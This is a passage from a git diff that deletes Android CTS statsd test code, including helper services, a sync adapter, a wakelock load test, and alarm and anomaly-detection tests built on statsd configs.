-import com.android.compatibility.common.util.ApiLevelUtil;
-
-public class StatsdCtsForegroundService extends Service {
-    private static final String TAG = "SimpleForegroundService";
-    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
-
-    // TODO: pass this in from host side.
-    public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-    private Looper mServiceLooper;
-    private ServiceHandler mServiceHandler;
-    private boolean mChannelCreated;
-
-    private final class ServiceHandler extends Handler {
-        public ServiceHandler(Looper looper) {
-            super(looper);
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            Log.i(TAG, "Handling message.");
-            // Sleep.
-            try {
-                Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
-            } catch (InterruptedException e) {
-                // Restore interrupt status.
-                Thread.currentThread().interrupt();
-            }
-            Log.i(TAG, "Stopping service.");
-            // Stop the service using the startId, so that we don't stop
-            // the service in the middle of handling another job
-            stopSelf(msg.arg1);
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        // Start up the thread running the service.  Note that we create a
-        // separate thread because the service normally runs in the process's
-        // main thread, which we don't want to block.  We also make it
-        // background priority so CPU-intensive work will not disrupt our UI.
-        HandlerThread thread = new HandlerThread("ServiceStartArguments",
-                Process.THREAD_PRIORITY_BACKGROUND);
-        thread.start();
-
-        // Get the HandlerThread's Looper and use it for our Handler
-        mServiceLooper = thread.getLooper();
-        mServiceHandler = new ServiceHandler(mServiceLooper);
-
-        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
-            return;
-        }
-        // OMR1 requires notification channel to be set
-        NotificationManager notificationManager =
-                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_HIGH);
-        notificationManager.createNotificationChannel(channel);
-        mChannelCreated = true;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setContentTitle("CTS Foreground")
-                .setSmallIcon(android.R.drawable.ic_secure)
-                .build();
-        Log.i(TAG, "Starting Foreground.");
-        startForeground(1, notification);
-
-        Message msg = mServiceHandler.obtainMessage();
-        msg.arg1 = startId;
-        mServiceHandler.sendMessage(msg);
-
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    @Override
-    public void onDestroy () {
-        if (mChannelCreated) {
-            NotificationManager notificationManager =
-                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
deleted file mode 100644
index d81040f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.TargetApi;
-import android.app.job.JobInfo;
-import android.app.job.JobParameters;
-import android.app.job.JobScheduler;
-import android.app.job.JobService;
-import android.content.Context;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Handles callback from the framework {@link android.app.job.JobScheduler}.
- * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
- */
-@TargetApi(21)
-public class StatsdJobService extends JobService {
-  private static final String TAG = "AtomTestsJobService";
-
-  JobInfo mRunningJobInfo;
-  JobParameters mRunningParams;
-
-  private static final Object sLock = new Object();
-
-  @GuardedBy("sLock")
-  private static CountDownLatch sLatch;
-
-  final Handler mHandler = new Handler();
-  final Runnable mWorker = new Runnable() {
-    @Override public void run() {
-      try {
-        Thread.sleep(500);
-      } catch (InterruptedException e) {
-      }
-
-      jobFinished(mRunningParams, false);
-
-      synchronized (sLock) {
-        if (sLatch != null) {
-          sLatch.countDown();
-        }
-      }
-    }
-  };
-
-  public static synchronized CountDownLatch resetCountDownLatch() {
-    synchronized (sLock) {
-      if (sLatch == null || sLatch.getCount() == 0) {
-        sLatch = new CountDownLatch(1);
-      }
-    }
-    return sLatch;
-  }
-
-  @Override
-  public boolean onStartJob(JobParameters params) {
-    mRunningParams = params;
-    mHandler.post(mWorker);
-    return true;
-  }
-
-  @Override
-  public boolean onStopJob(JobParameters params) {
-    return false;
-  }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
deleted file mode 100644
index bd652b2..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-
-/**
- * Provider for the sync test.
- */
-public class StatsdProvider extends ContentProvider {
-    public static final String AUTHORITY = "com.android.server.cts.device.statsd.provider";
-
-    @Override
-    public boolean onCreate() {
-        return false;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
deleted file mode 100644
index 6968307..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.Account;
-import android.content.AbstractThreadedSyncAdapter;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.SyncResult;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.Assert;
-
-import java.util.concurrent.CountDownLatch;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Sync adapter for the sync test.
- */
-public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
-    private static final String TAG = "AtomTestsSyncAdapter";
-
-    private static final int TIMEOUT_SECONDS = 60 * 2;
-
-    private static CountDownLatch sLatch;
-
-    private static final Object sLock = new Object();
-
-
-    public StatsdSyncAdapter(Context context) {
-        // No need for auto-initialization because we set isSyncable in the test anyway.
-        super(context, /* autoInitialize= */ false);
-    }
-
-    @Override
-    public void onPerformSync(Account account, Bundle extras, String authority,
-            ContentProviderClient provider, SyncResult syncResult) {
-        try {
-            Thread.sleep(500);
-        } catch (InterruptedException e) {
-        }
-        synchronized (sLock) {
-            Log.i(TAG, "onPerformSync");
-            if (sLatch != null) {
-                sLatch.countDown();
-            } else {
-                Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
-            }
-        }
-    }
-
-    /**
-     * Request a sync on the given account, and wait for it.
-     */
-    public static void requestSync(Account account) throws Exception {
-        final Bundle extras = new Bundle();
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
-
-        ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
-    }
-
-    public static CountDownLatch resetCountDownLatch() {
-        synchronized (sLock) {
-            if (sLatch == null || sLatch.getCount() == 0) {
-                sLatch = new CountDownLatch(1);
-            }
-        }
-        return sLatch;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
deleted file mode 100644
index ab06c6f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-
-/**
- * Service for the sync test.
- */
-public class StatsdSyncService extends Service {
-
-    private static StatsdSyncAdapter sAdapter;
-
-    @Override
-    public synchronized IBinder onBind(Intent intent) {
-        if (sAdapter == null) {
-            sAdapter = new StatsdSyncAdapter(getApplicationContext());
-        }
-        return sAdapter.getSyncAdapterBinder();
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
deleted file mode 100644
index ea1fcec..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-import android.widget.VideoView;
-
-public class VideoPlayerActivity extends Activity {
-    private static final String TAG = VideoPlayerActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_PLAY_VIDEO = "action.play_video";
-    public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
-            "action.play_video_picture_in_picture_mode";
-
-    public static final int DELAY_MILLIS = 2000;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_PLAY_VIDEO:
-                playVideo();
-                break;
-            case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
-                playVideo();
-                this.enterPictureInPictureMode();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-        delay();
-    }
-
-    private void playVideo() {
-        setContentView(R.layout.activity_main);
-        VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
-        videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
-        videoView.start();
-    }
-
-    private void delay() {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                SystemClock.sleep(DELAY_MILLIS);
-                return null;
-            }
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-}
-
-
-
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
deleted file mode 100644
index 1a3d32a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.Context;
-import android.os.PowerManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-
-public class WakelockLoadTestRunnable implements Runnable {
-    String tag;
-    CountDownLatch latch;
-    WakelockLoadTestRunnable(String t, CountDownLatch l) {
-        tag = t;
-        latch = l;
-    }
-    @Override
-    public void run() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
-        long sleepTimeNs = 700_000;
-
-        for (int i = 0; i < 1000; i++) {
-            wl.acquire();
-            long startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-            wl.release();
-            startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-        }
-        latch.countDown();
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
deleted file mode 100644
index 032297e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alarm;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alarm;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AlarmTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-
-    // Config constants
-    private static final int ALARM_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " alarm tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    public void testAlarm() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig();
-        turnScreenOn();
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        Thread.sleep(9_000);
-
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig() throws Exception {
-      return createConfigBuilder()
-          .addAlarm(Alarm.newBuilder().setId(ALARM_ID).setOffsetMillis(2).setPeriodMillis(
-              5_000) // every 5 seconds.
-              )
-          .addSubscription(Subscription.newBuilder()
-                               .setId(SUBSCRIPTION_ID_INCIDENTD)
-                               .setRuleType(Subscription.RuleType.ALARM)
-                               .setRuleId(ALARM_ID)
-                               .setIncidentdDetails(
-                                   IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
deleted file mode 100644
index d6c1107..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ /dev/null
@@ -1,471 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alert;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alert;
-import com.android.internal.os.StatsdConfigProto.CountMetric;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.KernelWakelock;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil.CLog;
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AnomalyDetectionTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-    private static final boolean PERFETTO_TESTS_ENABLED = true;
-
-    private static final int WAIT_AFTER_BREADCRUMB_MS = 2000;
-
-    // Config constants
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_STOP_ID = 2;
-    private static final int METRIC_ID = 8;
-    private static final int ALERT_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int SUBSCRIPTION_ID_PERFETTO = 42;
-    private static final int ANOMALY_DETECT_MATCH_ID = 10;
-    private static final int ANOMALY_EVENT_ID = 101;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " anomaly tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (PERFETTO_TESTS_ENABLED) {
-            //Deadline to finish trace collection
-            final long deadLine = System.currentTimeMillis() + 10000;
-            while (isSystemTracingEnabled()) {
-                if (System.currentTimeMillis() > deadLine) {
-                    CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
-                    break;
-                }
-                CLog.d("Waiting to finish collecting traces. ");
-                Thread.sleep(WAIT_TIME_SHORT);
-            }
-        }
-    }
-
-    // Tests that anomaly detection for count works.
-    // Also tests that anomaly detection works when spanning multiple buckets.
-    public void testCountAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
-                .addCountMetric(CountMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS) // 1 second
-                        // Slice by label
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(12);
-        Thread.sleep(1000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Tests that anomaly detection for duration works.
-    // Also tests that refractory periods in anomaly detection work.
-    public void testDurationAnomalyDetection() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(17, 17, 10_000_000_000L  /*threshold: > 10 seconds in nanoseconds*/)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // predicate below
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        // Since timing is crucial and checking logcat for incidentd is slow, we don't test for it.
-
-        // Test that alarm doesn't fire early.
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(6_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(4_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(9_000);  // Recorded duration at end: 13s
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Now test that the refractory period is obeyed.
-        markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStop(1);
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(3_000);  // Recorded duration at end: 13s
-        // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that detection works again after refractory period finishes.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(8_000);  // Recorded duration at end: 9s
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(15_000);  // Recorded duration at end: 15s
-        // We can do an incidentd test now that all the timing issues are done.
-        data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-
-        doAppBreadcrumbReportedStop(1);
-    }
-
-    // Tests that anomaly detection for duration works even when the alarm fires too late.
-    public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(
-                                        APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // Predicate below.
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(5_000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2_000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to.
-        // The anomaly occurs in 1s, but alarms won't fire that quickly.
-        // It is likely that the alarm will only fire after this period is already over, but the
-        // anomaly should nonetheless be detected when the event stops.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(1_200);
-        // Anomaly should be detected here if the alarm didn't fire yet.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(200);
-        List<EventMetricData> data = getEventMetricDataList();
-        if (data.size() == 2) {
-            // Although we expect that the alarm won't fire, we certainly cannot demand that.
-            CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
-        }
-        assertThat(data.size()).isAnyOf(1, 2);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-    // Tests that anomaly detection for value works.
-    public void testValueAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
